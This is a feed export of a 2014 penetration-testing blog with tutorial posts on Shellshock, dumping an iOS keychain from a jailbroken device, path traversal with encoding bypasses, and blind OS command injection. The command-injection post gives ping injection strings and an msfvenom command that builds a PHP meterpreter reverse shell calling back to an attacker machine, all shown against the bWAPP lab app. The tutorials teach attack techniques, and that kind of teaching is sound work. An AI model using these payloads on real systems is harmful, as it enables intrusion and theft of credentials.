&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCfzoWvs55qlNePoyeOD0PbgZ6iu5b_A5hQanai_vEu1y41megvSd_94U3S9l3JuOPqF1qepnhy3UW3MR8r7HVg4Tp63qU4L3_6zYIctM_mpJo-gwH0yBU5MTIyDXSC6jZYyL9-wac/s1600/payload.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCfzoWvs55qlNePoyeOD0PbgZ6iu5b_A5hQanai_vEu1y41megvSd_94U3S9l3JuOPqF1qepnhy3UW3MR8r7HVg4Tp63qU4L3_6zYIctM_mpJo-gwH0yBU5MTIyDXSC6jZYyL9-wac/s1600/payload.png&quot; height=&quot;134&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
If the page is vulnerable (we know it is) then the passwd file will be returned..&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiraXa5jXze4XofO2dEI35qzNgjYcNZs-uXTu8P1vnrrPWD7aoOpnxKI4ucCPNf4kU4uCwpnlre0HpT_uV3TtS5LfMBZZiIFv-9wsmbgaVPQIf1RXWYx_qntQT5kqmZwfwlP1Bya6Sx/s1600/passwd.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiraXa5jXze4XofO2dEI35qzNgjYcNZs-uXTu8P1vnrrPWD7aoOpnxKI4ucCPNf4kU4uCwpnlre0HpT_uV3TtS5LfMBZZiIFv-9wsmbgaVPQIf1RXWYx_qntQT5kqmZwfwlP1Bya6Sx/s1600/passwd.png&quot; height=&quot;313&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
We can only watch now to see the possibilities for this bug ;).&lt;br /&gt;
&lt;br /&gt;
Information referenced from&amp;nbsp;&lt;a href=&quot;http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html&quot;&gt;Troy Hunt Blog&lt;/a&gt;&amp;nbsp; &lt;br /&gt;
&lt;br /&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin: 0em;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
</description><link>http://thehackpot.blogspot.com/2014/09/shellshock-cve-2014-6721.html</link><author>noreply@blogger.com (Anonymous)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpNl8Ag2u4c8rEPaCGn30YilYIgjbB9e70phrVNEeN4AiwUrq_09MnbMjbFYGWfxDvvg5e5rqU8FyyizVoIrijbpYRwDFyTLySxfpgo79eZWFHU4ONrGH-jyRokN20HupiUqCI3zUH/s72-c/vulnerablePage.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8805024510347536027.post-4486516426231898008</guid><pubDate>Mon, 18 Aug 2014 10:47:00 +0000</pubDate><atom:updated>2014-08-18T12:53:33.572+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">iOS</category><category domain="http://www.blogger.com/atom/ns#">Keychain</category><title>Dumping iOS Keychain Contents</title><description>In this post we will look at dumping the contents of the keychain on an iOS device. To do this we will use the Keychain Dumper tool available &lt;a href=&quot;https://github.com/ptoomey3/Keychain-Dumper&quot;&gt;here&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
A keychain is a secure storage container that can be used to store sensitive information such as passwords, WiFi passwords and authentication tokens for different applications.The devices passcode is used to encrypt the keychain so once the device is jailbroken it is possible to read the contents of the .db file.&lt;br /&gt;
&lt;br /&gt;
The steps outlined below are performed using a Jailbroken iPad (7.0.6) and a Mac.&lt;br /&gt;
&lt;br /&gt;
First we need to sftp into the jailbroken iOS device. The default password is &#39;alpine&#39;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK8lrty8NR73foNtQjtl9oa77WVgC5J02GO9Zbpt2tEblt-uwDh4Pd-OvA4z6ahFlajUf3qRfA4fA9nrsxywzOGKvISitoxkyECmRPiau-IMrcBup50jt6lYrSND4aYxuBaY8cbbEC/s1600/sftp.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK8lrty8NR73foNtQjtl9oa77WVgC5J02GO9Zbpt2tEblt-uwDh4Pd-OvA4z6ahFlajUf3qRfA4fA9nrsxywzOGKvISitoxkyECmRPiau-IMrcBup50jt6lYrSND4aYxuBaY8cbbEC/s1600/sftp.png&quot; height=&quot;46&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
Next we want to upload the keychain_dumper binary to the iOS device. We can move it to the temp folder.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi4xvBoiHe2n2BbGVE_bEsqTrg7Ri0QTZ7nsK4fWhxUW4vVVuqxXKZFIHqQDbG4G5o3RWiGYXSVFNgNzfcYYPpquaA1r1E6PbJ1DEho8Kfd8YQPhNznNufqfJ4ZMyT1TiYbbDQIpx4/s1600/putKeychainDumper.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgi4xvBoiHe2n2BbGVE_bEsqTrg7Ri0QTZ7nsK4fWhxUW4vVVuqxXKZFIHqQDbG4G5o3RWiGYXSVFNgNzfcYYPpquaA1r1E6PbJ1DEho8Kfd8YQPhNznNufqfJ4ZMyT1TiYbbDQIpx4/s1600/putKeychainDumper.png&quot; height=&quot;70&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
We also want to make sure that it is executable, you can do this using the chomd command&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqLAwoNflRQF1XFKF8oRwyRJ2QU8bBj2ImDzb-JAsnGFPfuD4qOUFPmpqGOpxMnRa24c_mE3KyOPGHzWWciQXcXmVI69NJRDRW5G-TDPHnBf28fEw-gducrUIkGUJETlSsS2quNWjY/s1600/chmod.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqLAwoNflRQF1XFKF8oRwyRJ2QU8bBj2ImDzb-JAsnGFPfuD4qOUFPmpqGOpxMnRa24c_mE3KyOPGHzWWciQXcXmVI69NJRDRW5G-TDPHnBf28fEw-gducrUIkGUJETlSsS2quNWjY/s1600/chmod.png&quot; height=&quot;18&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
Next we want to make sure that the keychain is readable, again we can use chmod&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXITU310l3VKzOt-hAqgh6zzu3ik5bXyG7lqZBIQ6DmjbjXvYXQf4-sWe8oMNjjGZvnmhh-YKw_m3HGdPH-2wVDb7GeuhUvvBBfx9dZ9BSldnlz3sw8Cg3Fop04IcbdMBbcMBBkeph/s1600/readable.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXITU310l3VKzOt-hAqgh6zzu3ik5bXyG7lqZBIQ6DmjbjXvYXQf4-sWe8oMNjjGZvnmhh-YKw_m3HGdPH-2wVDb7GeuhUvvBBfx9dZ9BSldnlz3sw8Cg3Fop04IcbdMBbcMBBkeph/s1600/readable.png&quot; height=&quot;16&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
Now we can run the binary. To do this you can run the ./key_dumper command in the tmp folder&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKKveokoVnwvlXGJ47S25NtIlnXPz4VD-da4f9D9Z7H582E_VoQdMHv-FxVQXEfkN0NaraXTrKyCDhLeTxlEcEZneYyYgDMtu-vy8n24wfwNu7RHZWOhpaWKvBLSs-FccW4KDYofCf/s1600/binary.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKKveokoVnwvlXGJ47S25NtIlnXPz4VD-da4f9D9Z7H582E_VoQdMHv-FxVQXEfkN0NaraXTrKyCDhLeTxlEcEZneYyYgDMtu-vy8n24wfwNu7RHZWOhpaWKvBLSs-FccW4KDYofCf/s1600/binary.png&quot; height=&quot;17&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
The&lt;span style=&quot;color: #0000ee;&quot;&gt; &lt;span style=&quot;color: white;&quot;&gt;tool dumps out all the contents &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;of the &lt;/span&gt;keychain. This can include usernames and passwords used by applications and also wireless keys. &lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRTJjr6xTJc_vl4QQR4pHoIm7kcv_lbZa3nLWLCcO0VSgmVzptIcTBTh_TCaLXXeXHf3ZzrE5NcsATBI1V3t1wqlmeED3kop7Yg_tWiZDF4h73H4CZgs01PLiSFD-iNa1BqnVOrozw/s1600/contents.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRTJjr6xTJc_vl4QQR4pHoIm7kcv_lbZa3nLWLCcO0VSgmVzptIcTBTh_TCaLXXeXHf3ZzrE5NcsATBI1V3t1wqlmeED3kop7Yg_tWiZDF4h73H4CZgs01PLiSFD-iNa1BqnVOrozw/s1600/contents.png&quot; height=&quot;288&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
You can see usage information by using the -h switch&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNE0rhUxuldiUoyY9Yb5xx-bYj38B9OGmIld1r3udT6ftIJ3BusAz16OPt7Fo-oBv5XsQCTJYhjKsKacBPEvbkhc3780IY08jMUU8Hf16MizipnmfmLzh-K_qsSINPOhLY__kb1kJq/s1600/Usage.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNE0rhUxuldiUoyY9Yb5xx-bYj38B9OGmIld1r3udT6ftIJ3BusAz16OPt7Fo-oBv5XsQCTJYhjKsKacBPEvbkhc3780IY08jMUU8Hf16MizipnmfmLzh-K_qsSINPOhLY__kb1kJq/s1600/Usage.png&quot; height=&quot;76&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
One of the best ways to make your keychain more secure is to use a strong passcode. As shown in an older post it is possible to brutefore a 4 digit passcode in a matter of minutes using the iPhone dataprotection tools.</description><link>http://thehackpot.blogspot.com/2014/08/dumping-keychain-contents-ios.html</link><author>noreply@blogger.com (Anonymous)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK8lrty8NR73foNtQjtl9oa77WVgC5J02GO9Zbpt2tEblt-uwDh4Pd-OvA4z6ahFlajUf3qRfA4fA9nrsxywzOGKvISitoxkyECmRPiau-IMrcBup50jt6lYrSND4aYxuBaY8cbbEC/s72-c/sftp.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8805024510347536027.post-6608594073196134238</guid><pubDate>Sun, 08 Jun 2014 11:08:00 +0000</pubDate><atom:updated>2014-06-08T12:12:14.870+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">OWASP</category><category domain="http://www.blogger.com/atom/ns#">Path Traversal</category><title>Directory/Path Traversal Vulnerabilities </title><description>&lt;a href=&quot;https://www.owasp.org/index.php/Path_Traversal&quot;&gt;Path Traversal&lt;/a&gt;&amp;nbsp;vulnerabilities occur when an application uses user-controllable data to access files and directories on the application server. A malicious user may be able to craft input that can cause content to be read or written from the filesystem. &lt;br /&gt;
&lt;br /&gt;
To demonstrate this attack we will use the deliberately vulnerable application&amp;nbsp; &lt;a href=&quot;http://www.itsecgames.com/&quot;&gt;bWAPP&lt;/a&gt;.&amp;nbsp; If you consider the example below, the application is returning a message to the client. The file that contains the message is specified as a query string parameter e.g. message.txt.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwU_7U9F1w6rheZWI1JENrijOPQECGZxFRd26q6WIM98mLJeJ3jQkD4P8ipza8hPn1Cw-A-ppwpGeWa2Q4IOm42npA-QLMu3VdwWtv2ws2RAuGVkPHcFkdRdXBFPTu5SrVlCXcfr81/s1600/pathTraversal1.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwU_7U9F1w6rheZWI1JENrijOPQECGZxFRd26q6WIM98mLJeJ3jQkD4P8ipza8hPn1Cw-A-ppwpGeWa2Q4IOm42npA-QLMu3VdwWtv2ws2RAuGVkPHcFkdRdXBFPTu5SrVlCXcfr81/s1600/pathTraversal1.PNG&quot; height=&quot;228&quot; width=&quot;320&quot; /&gt;&amp;nbsp;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
When the server processes the request it follows these steps:&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;Extract the value of the filename parameter from the query string&lt;/li&gt;
&lt;li&gt;Appends the value to the prefix say C:\bWAPP\&lt;/li&gt;
&lt;li&gt;Opens the file with this name&lt;/li&gt;
&lt;li&gt;Reads the file&#39;s contents and returns it to the client &lt;/li&gt;
&lt;/ol&gt;
Again if the attacker can place path traversal strings into the filename then they may be able to backtrack up from the directory specified in step 2 and access files anywhere on the server. The path traversal sequence is known as &quot;dot-dot-slash&quot;.&lt;br /&gt;
&lt;br /&gt;
An attacker could insert the malicious string &quot;../../../etc/passwd&quot; to include the password hash file of a Linux/UNIX system. &lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhh33som8HRJL_lqYvxnJ7ZzwRWK87l-00SkJ_LtldF3pp0crcFkQluSIOKivFr1gcYmREN-QRgpVoCxuWK4jyV_SZVoik73s616_RC1ZMeO6hfBGA_nq9TifYBr9Fs5ETg1CsT5ulL/s1600/etc.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhh33som8HRJL_lqYvxnJ7ZzwRWK87l-00SkJ_LtldF3pp0crcFkQluSIOKivFr1gcYmREN-QRgpVoCxuWK4jyV_SZVoik73s616_RC1ZMeO6hfBGA_nq9TifYBr9Fs5ETg1CsT5ulL/s1600/etc.PNG&quot; height=&quot;292&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
It may also be possible to return configuration files.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih6p8G_qUtCodGv2VikUfZj0zYxevwdPYoP4TsNVe7he3zFf-9SpS2Lrsrup1QTKzPa1St4YuwBy89dV9u1OnzJ-ldmMKCCj_MwLEDGtA5BTDWI84jKFuPZ8MFpQCj7HgzxgQHe0vM/s1600/config.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih6p8G_qUtCodGv2VikUfZj0zYxevwdPYoP4TsNVe7he3zFf-9SpS2Lrsrup1QTKzPa1St4YuwBy89dV9u1OnzJ-ldmMKCCj_MwLEDGtA5BTDWI84jKFuPZ8MFpQCj7HgzxgQHe0vM/s1600/config.PNG&quot; height=&quot;238&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
When trying to find path traversal vulnerabilities look for request parameters that contain the name of a file or directory e.g. include=main.inc or template=/en/sidebar. Also any application functions whose implementation is likely to retrieve data from a server filesystem such as displaying of documents or images.&lt;br /&gt;
&lt;br /&gt;
Path traversal attacks have been about for some time. It is common to find applications that implement various defenses against them, often based on input validation filters. But it may be possible to bypass these filters, here are some useful tips:&lt;br /&gt;
&lt;br /&gt;
Try path traversal sequences using both forward slashes and back slashes. Many input filters check for only one of these, when the filesystem may support both.&lt;br /&gt;
&lt;br /&gt;
URL encoding the traversal sequences&amp;nbsp; &lt;br /&gt;
Dot - %2e&lt;br /&gt;
Forward slash - %2f&lt;br /&gt;
Backslash - %5c&lt;br /&gt;
&lt;br /&gt;
16-bit Unicode encoding&lt;br /&gt;
Dot - %u002e&lt;br /&gt;
Forward slash - %u2215&lt;br /&gt;
Backslash - %u2216&lt;br /&gt;
&lt;br /&gt;
Double URL encoding&lt;br /&gt;
Dot - %252e&lt;br /&gt;
Forward slash - %252f&lt;br /&gt;
Backslash - %255c&lt;br /&gt;
&lt;br /&gt;
Here is a useful cheat sheet that you can try &lt;a href=&quot;http://pentestlab.wordpress.com/2012/06/29/directory-traversal-cheat-sheet/&quot;&gt;Link&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</description><link>http://thehackpot.blogspot.com/2014/06/directorypath-traversal-vulnerabilities.html</link><author>noreply@blogger.com (Anonymous)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwU_7U9F1w6rheZWI1JENrijOPQECGZxFRd26q6WIM98mLJeJ3jQkD4P8ipza8hPn1Cw-A-ppwpGeWa2Q4IOm42npA-QLMu3VdwWtv2ws2RAuGVkPHcFkdRdXBFPTu5SrVlCXcfr81/s72-c/pathTraversal1.PNG" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8805024510347536027.post-7128986557438459950</guid><pubDate>Sun, 25 May 2014 12:40:00 +0000</pubDate><atom:updated>2014-05-25T13:43:04.272+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">OS Command Injection.Blind</category><title>Blind OS Command Injection Attacks </title><description>In this tutorial we will look at Blind OS Command Injection.&amp;nbsp;&lt;a href=&quot;https://www.owasp.org/index.php/Testing_for_Command_Injection_%28OWASP-DV-013%29&quot;&gt;OS Command Injection&lt;/a&gt; is described in&amp;nbsp;&lt;a href=&quot;https://www.owasp.org/index.php/Main_Page&quot;&gt;OWASP&lt;/a&gt; as&amp;nbsp; a technique used via a web interface in order to execute OS commands 
on a web server. The user supplies operating system commands through a 
web interface in order to execute OS commands.&lt;br /&gt;
&lt;br /&gt;
Once you have identified an instance where a web application appears to be interacting with the underlying OS you should then start to probe any parameters, cookies, headers etc using meta-characters that will be interpreted by the OS.&lt;br /&gt;
&lt;br /&gt;
The idea is to inject a separate command into an existing command. The &amp;amp; | ; meta-characters can be used to join commands. Similar to SQLi,&amp;nbsp; OS Command Injection  can either be error based or blind. In error based the results are outputted to the screen, it is much more obvious that the vulnerability exists. Here is an example below..&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaAn1Gt_hkhhtERWFEzqd08U8pcp7XOkLRCPeHOVAMYCVGf8wBxBLQLHtbLImy9DcZhEzAC3RUHtLtHBRKVFt7rYDtTYjxj9f2vBoaHLdmfSmGRZsn6nZ8nRlqEFJJH0UJmB_EKCtj/s1600/whoami.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaAn1Gt_hkhhtERWFEzqd08U8pcp7XOkLRCPeHOVAMYCVGf8wBxBLQLHtbLImy9DcZhEzAC3RUHtLtHBRKVFt7rYDtTYjxj9f2vBoaHLdmfSmGRZsn6nZ8nRlqEFJJH0UJmB_EKCtj/s1600/whoami.PNG&quot; height=&quot;99&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
The difference with a blind injection point is that you will not return any results to the screen. In general the most reliable way to detect it is by using time-delays similar to blind SQLi.You can use the ping command as a way of invoking a time delay by causing the server to ping its loopback interface for a specific period of time.&lt;br /&gt;
&lt;br /&gt;
Try submitting the commands below varying the time periods, these commands cover both Windows and Unix:&lt;br /&gt;
&lt;br /&gt;
| ping -i 30 127.0.0.1 |&lt;br /&gt;
| ping -n 30 127.0.0.1|&lt;br /&gt;
&amp;amp; ping -i 30 127.0.0.1&amp;amp;&lt;br /&gt;
&amp;amp;ping -n 30 127.0.0.1&amp;amp;&lt;br /&gt;
;ping -i 30 127.0.0.1;&lt;br /&gt;
%0a ping -i 30 127.0.0.1 %0a&lt;br /&gt;
` ping 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
If a time-delay occurs it may be vulnerable to command injection. We can now demonstrate the exploitation of Blind OS Command Injection using &lt;a href=&quot;http://www.mmeit.be/bwapp/&quot;&gt;bWAPP&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj77pWVxiqge4YAI60YHYo3kdoKeDO48mHkdJzvufdQTbcipzPSD_sMHuwkN9huqlKe0vdOrnafTdz3QOKt1EkpzT_fbbXCzWp3FwaMYyvWeTOwXclXvPiGR2DhUvoAZTtJlubQM0zk/s1600/bwapp1.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj77pWVxiqge4YAI60YHYo3kdoKeDO48mHkdJzvufdQTbcipzPSD_sMHuwkN9huqlKe0vdOrnafTdz3QOKt1EkpzT_fbbXCzWp3FwaMYyvWeTOwXclXvPiGR2DhUvoAZTtJlubQM0zk/s1600/bwapp1.PNG&quot; height=&quot;193&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
The environment is set up as follows:&lt;br /&gt;
&lt;br /&gt;
Attackers Machine - 192.168.1.100 (Kali Linux)&lt;br /&gt;
Victim Machine - 192.168.1.50 (bWAPP)&lt;br /&gt;
&lt;br /&gt;
The first thing to do is create a php shell with msfvenom - msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=666 -e php/base64 -f raw &amp;gt; /root/Desktop/bee-shell.txt&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCS6u7WLxuXCZpc39koNdWLmhBSyo5rhadZ2_c102lI3sa_GppxX3jf_OPGFWIRh8Ww_Jq7dyZ9_5AbTmOGs2tbR7Ru0tP8GTgMmm-La4JaFqpQ8cxq2xxNR0Ql6nWzZ5F9_xxyxPE/s1600/msvenom.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCS6u7WLxuXCZpc39koNdWLmhBSyo5rhadZ2_c102lI3sa_GppxX3jf_OPGFWIRh8Ww_Jq7dyZ9_5AbTmOGs2tbR7Ru0tP8GTgMmm-La4JaFqpQ8cxq2xxNR0Ql6nWzZ5F9_xxyxPE/s1600/msvenom.PNG&quot; height=&quot;66&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
We then need to edit our file to include our php tags &amp;lt;?php echo ... ?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcpbE98J_qjJEwHwtKKtm9x2lAaWN7gCp-XuDBiNcdGxhrHCE6sHo5_BsHYlQ73gQux51Ci5QA8XRGh4rpcQdXp1rBYvfxoxwB2oBCyK7dCZdMj_D0DIBWrAxcceKcPLVSgHRv8p1p/s1600/php.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcpbE98J_qjJEwHwtKKtm9x2lAaWN7gCp-XuDBiNcdGxhrHCE6sHo5_BsHYlQ73gQux51Ci5QA8XRGh4rpcQdXp1rBYvfxoxwB2oBCyK7dCZdMj_D0DIBWrAxcceKcPLVSgHRv8p1p/s1600/php.PNG&quot; height=&quot;105&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Next we start a web server on the attacker machine to host our PHP shell. On Kali Linux open a command prompt and type...&lt;br /&gt;
&lt;br /&gt;
cd /root/Desktop&lt;br /&gt;
python -m SimpleHTTPServer 80&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
